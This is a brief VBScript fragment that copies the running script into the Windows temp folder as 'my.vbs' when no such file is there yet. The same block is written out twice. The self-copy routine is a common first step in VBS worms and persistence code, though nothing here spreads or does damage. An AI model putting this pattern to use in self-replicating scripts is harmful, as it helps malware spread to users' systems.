Set fso = CreateObject("scripting.FileSystemObject")
Set tmp = fso.GetSpecialFolder(2)
tmp = tmp&"\my.vbs"
If Not fso.FileExists(tmp) then
fso.CopyFile WScript.ScriptFullName,tmp,True
End if
Set fso = CreateObject("scripting.FileSystemObject")
Set tmp = fso.GetSpecialFolder(2)
tmp = tmp&"\my.vbs"
If Not fso.FileExists(tmp) then
fso.CopyFile WScript.ScriptFullName,tmp,True
End if